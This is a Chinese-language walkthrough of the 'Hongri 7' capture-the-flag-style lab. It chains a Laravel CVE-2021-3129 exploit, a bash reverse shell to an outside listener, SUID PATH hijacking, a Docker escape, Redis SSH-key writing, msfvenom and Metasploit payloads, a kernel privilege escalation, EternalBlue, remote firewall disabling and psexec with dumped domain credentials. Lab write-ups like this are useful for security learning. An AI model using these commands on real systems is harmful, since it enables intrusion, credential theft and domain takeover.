红日7

  • 拓扑图img

  • 环境配置

    • DMZ区IP段为192.168.43.1/24 因为我这里是开热点打的 图用的网上的

    • 第二层网络环境IP段为192.168.52.1/24

    • 第三层网络环境IP段为192.168.93.1/24

    • DMZ区域

      • Ubuntu(Web 1)配置了两个网卡,一个桥接可以对外提供服务,IP段设为 192.168.43.0/24,一个连接在 VMnet8 上,设为NAT模式,IP段设为 192.168.52.0/24 连通第二层网络
    • 第二层网络区域

      • Ubuntu(Web 2)和 Windows 7(PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上,设为仅主机模式,IP段设为 192.168.93.0/24 连通第三层网络
    • 第三层网络区域

      • Windows Server 2012 和 Windows 7(PC 2)都只配置了一个网卡,连接在 VMnet14 上连通第三层网络
    • 用户名密码

      • 域用户账户和密码如下:

        • Administrator:Whoami2021

        • whoami:Whoami2021

        • bunny:Bunny2021

        • moretz:Moretz2021

      • Ubuntu 1:

        • web:web2021
      • Ubuntu 2:

        • ubuntu:ubuntu
      • 通达OA账户(不重要):

        • admin:admin657260
    • 后面的网卡设置好就行imgimg

    • 网络配置好了 还需要配置服务

      • DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动):

        • sudo su

        • redis-server /etc/redis.conf

        • /usr/sbin/nginx -c /etc/nginx/nginx.conf

        • iptables -F

      • 第二层网络的 Ubuntu需要启动docker容器(仍然需要root):

        • sudo su

        • service docker start

        • docker start 8e172820ac78

      • 第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):

        • C:\MYOA\bin\AutoConfig.exe
      • 开始配置imgimgimgimgimgimgimg

      • 至此 环境配置完成

  • 渗透开始

    • 外网渗透

    • 拿到DMZ的ip:192.168.43.129 首先打开看看img

    • 空白啥都没有 但是网上的那些有blog不知道怎么回事 先不管 扫端口

      • 命令:nmap -T4 -A 192.168.31.132 -p 1-65535
    • 扫出4个端口

      • 22的ssh

      • 80的nginx

      • 81的Laravel

      • 6379的redis

    • 因为80没东西 所以打开81看看img

    • 是一个Laravel v8.29.0(一个简洁、开源的 PHP Web 开发框架)

    • 直接网上找找公开漏洞

    • 发现是有漏洞的CVE-2021-3129 然后直接找exp打

    • https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

    • 克隆exp到kali

    • 然后将里面默认的url改为目标192.168.43.129img

    • 然后克隆phpggc到exp目录下 因为需要同目录img

    • 命令:git clone git://github.com/ambionics/phpggc.git

    • 然后执行命令:python3 exploit.pyimg

    • 然后改一下py脚本 改成任意执行命令

    • Vim打开脚本,首先在exploit.py开头import sys库 img

    • 主函数改为如下内容(注意缩进)

    • args = sys.argv

    • url = args[1]

    • command = args[2]

    • Exp(url, command) img

    • 然后执行命令img

    • 然后写shell 但是用这个exp一直写不上 就换了一个exp

    • 直接写shell的 img

    • 然后用哥斯拉链接2.92版本的 3.03不知道为什么连不上

    • 连上shellimg

    • 首先判断当前环境和权限 发现有些命令无法执行 怀疑是在容器里面

    • 判断是否为dockerimg

    • 确实是在docker里面 所以就需要进行docker逃逸

    • 但是当前权限较低img

    • 所以需要进行提权 先通过命令来搜索具有SUID或4000权限的文件:

      • find / -perm -u=s -type f 2>/dev/nullimg
    • 发现 /home/jobs/shell 文件比较特别 然后切换到目录看看

    • 但是发现在哥斯拉执行的时候切换不了 不知道什么情况 那就先弹个会话到kali

      • 命令:bash -c “bash -i >& /dev/tcp/192.168.43.35/1234 0>&1”
    • 然后在kali上试试能不能行img

    • 然后通过查看demo.c文件发现 是调用的ps命令且并未使用绝对路径img

    • 那么尝试更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell

      • cd /tmp

      • echo “/bin/bash” > ps

      • chmod 777 ps

      • echo $PATH

      • export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

      • cd /home/jobs

      • ./shell# 然后就获得了root权限,可以执行命令了

    • 然后先弹个root的会话img

    • 然后使用特权模式进行docker逃逸

      • 先fdisk -l查看磁盘挂载img

      • sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上img

      • 然后ls hack就可以看到宿主机部分文件img

      • 来到/hack/home/ubuntu下 可以看到有.ssh文件img

      • 那就可以写入密钥

      • 先在kali中生成密钥 创建一个key文件imgimg

      • 然后将密钥复制

      • 然后写入目标的.ssh目录下img

      • 命令:cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys(我这里是切换到.ssh目录下复制的 因为我直接全路径不知道为什么失败)(后来发现是hack前面不需要/)

      • 然后写入到authorized_keys里面img

      • 然后用kali连接ubuntu

      • 但是发现还是需要密码 这就奇怪了img

      • 然后换思路 因为发现还有6379 有redis 所以从redis搞

    • redis未授权

      • 先安装redis-cli工具

      • 然后连接

        • redis-cli -h 192.168.43.129img
      • 尝试用redis写入ssh公钥

        • kali生成ssh公钥

          • ssh-keygen -t rsa
        • 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:

          • (echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt

          • cat key.txt | redis-cli -h 192.168.43.129 -x set hello

        • 然后进入redis将公钥写入(这里redis要是不用root启,就不行)

          • config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/

          • config set dbfilename authorized_keys #设置保存文件名为authorized_keys

          • save #将数据保存在目标服务器硬盘上

          • ssh 192.168.213.188 #连接 imgimg

          • 直接连上了

    • docker逃逸失败的原因

      • 因为开始确确实实是把ssh公钥写入了 但是怎么会连不上哎 然后查看了下nginx的配置img

      • 发现了 nginx 反向代理的标志 proxy_pass

      • 攻击的机器192.168.43.129(192.168.52.10)服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20,将 80 端口收到的请求转发给了 http://whoamianony.top

      • 所以这个docker的宿主机的192.168.20.20上 就算公钥写进去了 但是连不上 不在同一个网段 那个是

      • 如果说192.168.43.129(192.168.52.10)是A机器 192.168.52.20是B机器 docker是B1

      • 那么我们开始用马子拿下的就是B中的B1 redis拿下的才是A

    • docker再次逃逸(柳暗花明)

      • 还是先把这个上线msf 以便后续操作

      • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=3333 -f elf > web.elfimg

      • 然后远程下载马子img

      • 然后msf开启监听

        • use exploit/multi/handler

        • set lhost 192.168.31.96

        • set lport 3333

        • set payload linux/x86/meterpreter/reverse_tcp

        • run

      • 然后执行上线img

      • 因为开始第一步我们就将公钥写进去192.168.50.20了 是不是我们可以直接将kali的公钥下载到拿下的A机器 然后直接连接 但是还是要输入密码 很奇怪 按道理我看网上的有人是可以成功的 这里我没成功 就不管了img

      • 然后我重新试了一下 还是成功连上了 可能是因为我第一天关机了原因 img

      • 重新通过第一步的shell写密钥到192.168.52.20上 然后下载kali的公钥连接上了

      • 这里既然连接上了 就不用另一种方法了

      • 但还是介绍一下另一种方法

      • 我们通过redis拿下了192.168.43.129(192.168.52.10)这一台 这一台和192.168.52.20 有共同的网段的是可以直接连的 所以就可以通过shell弹一个会话到43.129这一台机器上 然后在这一台机器上进行docker提权以及 特权模式逃逸 直接在129这一台机器上生成密钥 然后写入到52.20中 然后连接进行逃逸

    • 所以到现在已经拿下了两台

      • 拿到了web,192.168.43.129;192.168.52.10

      • 拿到了ubuntu,192.168.52.20;192.168.93.10

    • 但192.168.52.20是ubuntu用户权限不高 我们要得肯定是root最好 先进行信息收集看看能不能提权img

    • 14.04 刚好上次打靶场的时候遇到 这个版本可以提权用CVE-2021-3493

    • 漏洞利用 exp 下载地址:https://github.com/briskets/CVE-2021-3493

    • 漏洞影响版本:

      • Ubuntu 20.10

      • Ubuntu 20.04 LTS

      • Ubuntu 18.04 LTS

      • Ubuntu 16.04 LTS

      • Ubuntu 14.04 ESM

    • 直接将下载的exp的内容复制到 这台机器编译一个

      • cd /tmp

      • vim exploit.c #将下载的exploit.c内容粘贴到该文件中

      • gcc exploit.c -o exploit

      • chmod +x exploit

      • ./exploitimg

      • 提权成功 然后现在上线msf进行内网渗透

    • 先添加一个路由 这台是192.168.43.129img

    • 然后生成一个马子

      • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=4445 -f elf > ubuntu.elf

      • 然后远程下载 发现是可以下载的 说明可以出网

      • 如果这里不能出网的话就需要通过先把马子传到192.168.43.129上 然后在下载到52.20这一台上 这也的话 马子也需要重新生成 设置代理

    • 然后下载执行上线img

    • 好了现在都上线了 开启socks代理探测内网

    • 第二层内网渗透

      • 首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机

        • use auxiliary/scanner/discovery/udp_probe

        • set rhosts 192.168.52.1-255

        • set threads 5

        • runimg

        • 发现了一台30的机器

      • 直接挂socks 进一步探测信息

        • use auxiliary/server/socks_proxy

        • set srvhost 192.168.43.35

        • set version 4a socks版本

        • run img

      • 发现有个8080端口 然后浏览器开启代理打开看看imgimg

      • 发现是一个通达OA V11.3 然后直接通过exp直接上img

      • 上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell img

      • 然后上线msf

        • use exploit/multi/script/web_delivery

        • set target 2

        • set payload windows/x64/meterpreter/reverse_tcp

        • set lhost 192.168.43.35

        • set lport 5555

        • run img

        • 上线之后进行内网信息收集

          • ipconfig /all # 查看本机ip,所在域

          • route print # 打印路由信息

          • net view # 查看局域网内其他主机名

          • arp -a # 查看arp缓存

          • net start # 查看开启了哪些服务

          • net share # 查看开启了哪些共享

          • net share ipc$ # 开启ipc共享

          • net share c$ # 开启c盘共享

          • net use \192.168.xx.xx\ipc$ “” /user:”” # 与192.168.xx.xx建立空连接

          • net use \192.168.xx.xx\c$ “密码” /user:”用户名” # 建立c盘共享

          • dir \192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件

          • net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

          • net user # 查看本机用户列表

          • net user /domain # 查看域用户

          • net localgroup administrators # 查看本地管理员组(通常会有域用户)

          • net view /domain # 查看有几个域

          • net user 用户名 /domain # 获取指定域用户的信息

          • net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

          • net group 组名 /domain # 查看域中某工作组

          • net time /domain // 主域服务器会同时作为时间服务器

          • net group “domain admins” /domain # 查看域管理员的名字

          • net group “domain computers” /domain # 查看域中的其他主机名

          • net group “doamin controllers” /domain # 查看域控制器(可能有多台)

          • net group “Enterprise Admins” /domain // 查看域管理员组

        • .imgimg

        • 综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。

        • 然后迁移到64进程上进行抓密码imgimg

        • 成功抓到域用户和域管理员的密码

          • bunny:Bunny2021

          • administrator:Whoami2021

    • 第三层内网渗透

      • 添加93网段的路由img

      • 然后探测93网段存活机器

        • use auxiliary/scanner/smb/smb_version

        • set rhosts 192.168.93.1-255

        • set threads 5

        • runimgimg

      • 发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)

      • 先扫端口 通过扫端口发现都开了445 那就测一测永恒之蓝

        • use exploit/windows/smb/ms17_010_eternalblue

        • set rhosts 192.168.93.40

        • set payload windows/x64/meterpreter/bind_tcp

        • set lport 8888

        • exploitimg

      • 直接弹回会话了img

      • 第四台拿下 现在只剩下域控了 既然前面抓到了域管的密码 直接用psexec登录得了

        • use exploit/windows/smb/psexec

        • set rhosts 192.168.93.30

        • set SMBUser administrator

        • set SMBPass Whoami2021

        • set payload windows/meterpreter/bind_tcp

        • set rhost 192.168.93.30

        • run

      • 失败了,应该是开了防火墙的原因。

      • 没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:

        • net use \192.168.93.30\ipc$ “Whoami2021” /user:”Administrator”img
      • 连上了 然后来关防火墙

        • sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”

        • sc \192.168.93.30 start unablefirewallimg

      • 然后在次尝试psexecimgimg

      • 拿下域控 到此拿下了所有机器

      • 权限维持就不做了

      • 后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的